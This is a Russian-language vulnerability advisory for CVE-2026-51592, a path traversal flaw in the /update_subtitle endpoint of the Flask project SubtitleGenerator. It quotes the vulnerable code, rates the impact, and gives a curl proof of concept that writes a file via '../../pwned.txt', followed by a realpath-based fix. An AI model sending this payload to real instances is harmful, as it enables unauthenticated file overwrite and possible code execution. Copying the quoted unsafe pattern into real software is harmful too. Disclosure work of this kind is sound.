
Уязвимость Path Traversal в TahaBakhtari/SubtitleGenerator — CVE-2026-51592
В эндпоинте /update_subtitle проекта
TahaBakhtari/SubtitleGenerator
существует уязвимость обхода пути. Эндпоинт принимает параметр file_name
от неаутентифицированного клиента и объединяет его с фиксированной базовой
директорией с помощью os.path.join() без санитизации последовательностей
обхода пути. В результате удалённый неаутентифицированный злоумышленник может
записать произвольные файлы за пределами предназначенной директории
data/subtitles/ в пределах прав запущенного процесса.
2e2553a (последний на момент тестирования)app.py, функция update_subtitle (строки 225–238)@app.route('/update_subtitle', methods=['POST'])
def update_subtitle():
file_type = request.form.get('file_type', 'srt')
new_content = request.form.get('new_content')
file_name = request.form.get('file_name')
if not file_name:
return jsonify({'status': 'error', 'message': '...'}), 400
file_path = os.path.join("data/subtitles", file_name)
try:
with open(file_path, "w", encoding="utf-8") as f:
f.write(new_content)
return jsonify({'status': 'success', 'message': '...'})
except Exception as e:
return jsonify({'status': 'error', 'message': str(e)}), 500
Параметр file_name используется для формирования пути к файлу без какой-либо
валидации. Злоумышленник может указать значение вида ../../pwned.txt, чтобы
выйти за пределы директории data/subtitles/ и записать файл в произвольное
место, к которому процесс имеет доступ на запись.
По умолчанию приложение привязывается к адресу 0.0.0.0:5000 (см. app.py),
то есть оно доступно по сети и не ограничено только localhost.
CWE-22: Некорректное ограничение пути к каталогу с ограниченным доступом ('Path Traversal')
Запись произвольных файлов в пределах прав процесса Flask
Перезапись существующих конфигурационных файлов и файлов приложения
Возможная перезапись исходных файлов приложения (например, app.py),
что может привести к выполнению кода при следующем перезапуске
Отказ в обслуживании из-за повреждения критически важных файлов
Вектор атаки: удалённый
Требуется аутентификация: нет
Требуется взаимодействие с пользователем: нет
Степень серьёзности (предварительно): высокая
curl -X POST "http://target:5000/update_subtitle" \
--data "file_name=../../pwned.txt&new_content=HACKED"
Ответ:
{"status": "success", "message": "..."}
Проверка на сервере:
$ ls
... pwned.txt ...
$ cat pwned.txt
HACKED
Файл pwned.txt записывается в корневую директорию проекта, на два уровня
выше предназначенной директории data/subtitles/ — что подтверждает обход
пути.
Рабочую версию этого доказательства концепции см. в poc.sh.
Проверьте, что итоговый путь остаётся в пределах data/subtitles/, с помощью
os.path.realpath() перед открытием файла:
base_dir = os.path.realpath("data/subtitles")
target = os.path.realpath(os.path.join("data/subtitles", file_name))
if not target.startswith(base_dir + os.sep):
return jsonify({'status': 'error', 'message': 'invalid filename'}), 400
file_path = target
Это гарантирует, что итоговый путь всегда разрешается внутри
data/subtitles/, что фактически блокирует последовательности обхода типа
../../.
Полный патч доступен в patch.diff. Это исправление было реализовано и
проверено на локальном тестовом экземпляре: тот же payload, что использовался
в PoC выше, теперь возвращает ошибку «invalid filename» вместо записи файла.
Обнаружено и сообщено Ардой Куруоглу.
Эта уязвимость была раскрыта в соответствии с 90-дневным сроком ответственного раскрытия, начиная с даты первоначального сообщения мейнтейнеру.
README.md — данный отчётpoc.sh — скрипт доказательства концепции, демонстрирующий уязвимостьpatch.diff — предлагаемый патч, проверенный на локальном тестовом экземпляреДанный отчёт и сопутствующие файлы выпущены под лицензией MIT.